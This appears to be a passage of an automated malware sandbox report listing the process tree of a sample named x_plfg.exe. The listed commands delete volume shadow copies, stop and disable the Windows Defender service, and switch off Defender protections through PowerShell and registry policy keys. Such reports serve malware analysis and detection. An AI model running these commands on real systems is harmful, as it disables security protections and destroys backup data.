        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        54⤵
        
        PID:15856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:16668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        51⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:20288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:9580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        50⤵
        
        PID:18824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:19968
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        50⤵
        
        PID:16920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:15944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        48⤵
        
        PID:17436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:15768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        46⤵
        
        PID:9028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        46⤵
        
        PID:2772
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        46⤵
        
        PID:16872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:15300
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:17940
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:16844
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        45⤵
        Launches sc.exe
        
        PID:19924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        43⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:14996
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:15884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:14504
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        Checks computer location settings
        
        PID:17388
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        Checks computer location settings
        
        PID:5056
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:19248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:14292
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:17396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:3880
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        39⤵
        Launches sc.exe
        
        PID:19912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:14028
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:17380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:17580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        36⤵
        
        PID:19656
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        36⤵
        
        PID:2588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:13536
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        Checks computer location settings
        
        PID:15508
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:17712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        34⤵
        
        PID:19648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        34⤵
        
        PID:15384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:13380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:14936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:16596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        35⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:17936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:12344
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:14840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:15600
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:16648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        30⤵
        
        PID:19064
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:3372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        30⤵
        
        PID:2212
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:13060
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:14904
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:16488
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:15988
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:4320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:20420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        28⤵
        
        PID:19032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:19912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        28⤵
        
        PID:3604
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:12780
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:13140
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:15900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:16840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        30⤵
        
        PID:15988
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:7196
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        30⤵
        
        PID:3308
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        26⤵
        
        PID:19048
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:14876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        26⤵
        
        PID:728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:12524
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:14324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:15884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:9004
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        24⤵
        
        PID:1852
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:13332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        24⤵
        
        PID:17208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:4440
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:13620
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:15844
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        22⤵
        
        PID:18784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        22⤵
        
        PID:1628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:10960
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        Checks computer location settings
        
        PID:13612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:15876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:18400
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:18832
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:13552
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        20⤵
        
        PID:15236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:12032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        Checks computer location settings
        
        PID:14112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:15544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:16200
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:16124
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        20⤵
        
        PID:5936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:16708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:4032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        18⤵
        
        PID:1656
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:11804
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        Checks computer location settings
        
        PID:13564
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:14696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:18324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:19040
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:16248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        16⤵
        
        PID:4624
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:11584
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Checks computer location settings
        
        PID:13072
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:13556
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:14220
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:17420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:16116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:17452
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:20452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        14⤵
        
        PID:17188
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:7352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        14⤵
        
        PID:5132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:11332
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:12828
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:13572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:9608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:17540
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:16032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:15740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:19632
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:19840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:11052
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        Checks computer location settings
        
        PID:12396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:12964
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:14896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:14216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:17660
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:20136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:2056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:19008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:1116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:10772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:11908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:12372
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:13876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:15892
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:18176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:19444
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
